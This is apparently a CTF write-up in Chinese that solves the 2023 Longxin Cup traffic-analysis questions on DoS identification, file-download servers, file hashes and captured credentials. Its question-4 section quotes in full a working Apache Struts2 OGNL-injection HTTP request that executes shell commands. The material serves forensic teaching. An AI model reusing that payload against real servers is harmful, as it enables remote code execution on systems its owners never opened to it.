前言
该做2023龙信杯的题目了,看了一遍其他题目,都需要比赛官方的工具才能做,只有流量分析题能做。
1、分析“数据包1.cap”,请问客户端为什么访问不了服务器
(A)DDoS攻击
(B)DoS攻击
(C) SQL注入
(D)文档攻击
这个题首先要知道客户端和服务端的IP,但是题目中没有给,只能自己分析了,先导出所有的IP记录:
这里刚好学习一下每一列的含义:
Topic / Item:显示的是 IPv4 地址,代表网络中的不同设备或节点的 IP 地址。Count:表示该 IP 地址在捕获的数据包中出现的次数,反映了该 IP 地址参与网络通信的频繁程度。Average:这里数值均为 0.0000,可能是表示与该 IP 地址相关的某种平均值(如延迟等,但从截图信息无法明确具体是什么平均值),实际意义需结合具体捕获设置和环境判断。Min Val:最小值,可能代表与该 IP 地址相关的某个指标(如响应时间等)的最小值,具体取决于捕获设置。Max Val:最大值,可能代表与该 IP 地址相关的某个指标(如响应时间等)的最大值,具体取决于捕获设置。Rate (ms):速率,单位为毫秒,可能表示与该 IP 地址相关的数据包发送或接收速率相关指标。Percent:表示该 IP 地址的数据包数量占总数据包数量的百分比,体现其在整个通信中的占比情况。Burst Rate:突发速率,可能指在短时间内该 IP 地址通信时的最大速率。Burst Start:突发开始时间,可能记录了该 IP 地址通信突发情况开始的时间点(结合软件时间戳等信息确定具体时刻)。
Burst Rate
这一列是突发速率,指短时间内通信速率,那么想象一下如果客户端无法访问服务器,就会一直重复点击,那么它的突发速率肯定就会很高。整个列表中这一列比较高的就是:10.5.0.19
和116.211.168.203
了,并且还是一样的,猜想这两个一个是客户端一个是服务端。
那么接下来就过滤一下客户端的IP看一下,过滤:ip.src == 10.5.0.19 && ip.dst == 116.211.168.203
10.5.0.19短时间内向116.211.168.203发送了大量的数据包长度相同的数据,从而导致后边服务器不再响应客户端的请求,由于只是一台机器,所以是DOS攻击,这个选B。
2、分析“数据包1.cap”,出问题的服务器IP地址是_______。(格式:127.0.0.1)
那么这个题从上一题分析的结果就看出来了:10.5.0.19
这个不要搞反了,服务器拒绝客户端的服务是正常的,不是出问题了才拒绝的。
是客户端一直在对服务器进行DOS攻击,所以肯定是客户端出现问题了。
3、分析“数据包1.cap”,文件下发服务器的IP地址是_______。(标准格式:127.0.0.1)
首先下载文件肯定是HTTP请求,上个题分析出来了被控制的机器是10.5.0.19,那么先过滤:http && ip.addr==10.5.0.19
过滤后发现总共也就出现了3个IP:
10.5.0.19222.186.21.154120.210.129.29
并且10.5.0.19确实从120.210.129.29下载了一个文件:java.log
那么就是它了:120.210.129.29
4、分析“数据包1.cap”,攻击者利用_______漏洞进行远程代码执行。(标准格式:小写,无中文)
过滤流量:ip.dst == 10.5.0.19 && http
,找到138903号流量包,追踪HTTP流:,在流量包中有这么一段流量:
GET //login.action HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36Accept: */*Content-Type: %{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c','echo Windows2017-1'}:{'/bin/bash','-c','Linux2017-1'})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}Host: 202.104.142.58:8088HTTP/1.1 200 OKServer: Apache-Coyote/1.1Content-Language: zh-CNTransfer-Encoding: chunkedDate: Fri, 07 Apr 2017 21:26:34 GMT/bin/bash: Linux2017-1: command not found
熟悉的应该一眼就出来了:针对Apache Struts 2框架的OGNL表达式注入(远程代码执行)攻击。
这个题大难也没说清除写什么,看了别人发的才知道:struts2
5、分析“数据包1.cap”,请提取恶意文件,并校验该文件的MD5值为_______。(标准格式:abcd)
那就把java.log
提取出来,如何提取这里就不多说了,之前的文章都说过。
然后计算文件的Hash值:87540C645D003E6EEBF1102E6F904197
题目说标准格式是小写:87540c645d003e6eebf1102e6f904197
6、分析“数据包2.cap”,其获取文件的路径是________。(标准格式:D:/X/X/1.txt)
过滤http请求,然后第一条应该就看出来了:
GET /C%3A/Users/Administrator/Downloads/%E6%96%B0%E5%BB%BA%E6%96%87%E4%BB%B6%E5%A4%B9/%E6%96%B0%E5%BB%BA%E6%96%87%E4%BB%B6%E5%A4%B9 HTTP/1.1Host: 192.168.43.133Connection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9HTTP/1.0 401 UnauthorizedWWW-Authenticate: Basic realm="Everything"Content-Type: text/html; charset=UTF-8<html><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><meta name="viewport" content="width=512"><head><title>401 Unauthorized</title></head><body>401 Unauthorized</body></html>
把请求行url解码一下:GET /C:/Users/Administrator/Downloads/新建文件夹/新建文件夹 HTTP/1.1
路径:C:/Users/Administrator/Downloads/新建文件夹/新建文件夹
提交上去不对,还准备吐槽出题方,然后又看了一遍题目发现,人家问的是获取文件的路径,这个确实没有获取文件,应该不是这个,再往下看看找到了62号流量包:
这个肯定是了,把请求行解码:GET /C:/Users/Administrator/Downloads/新建文件夹/新建文件夹/mail.png HTTP/1.1
答案就是:C:/Users/Administrator/Downloads/新建文件夹/新建文件夹/mail.png
7、分析“数据包2.cap”,文件下载服务器的认证账号密码是_______。(标准格式:123)
这个还是看上个题的62号流量包,请求头里面有这样一个字段:Authorization: Basic YWRtaW46cGFzc3dk
解码:
就是这个了:admin:passwd
8、分析“数据包2.cap”,其下载的文件大小有________字节。(标准格式
那就是看第6题那个mail.png
的大小了,响应头如下,从响应头中即可看出:211625
HTTP/1.0 200 OKServer: Everything HTTP ServerContent-Type: image/pngContent-Length: 211625Accept-Ranges: bytesDate: Fri, 02 Jul 2021 02:12:42 GMTLast-Modified: Fri, 02 Jul 2021 01:42:51 GMTCache-Control: no-cache, no-store, must-revalidatePragma: no-cacheExpires: 0Connection: Close
原文始发于微信公众号(南有禾木):DIDCTF-2023龙信杯-流量分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论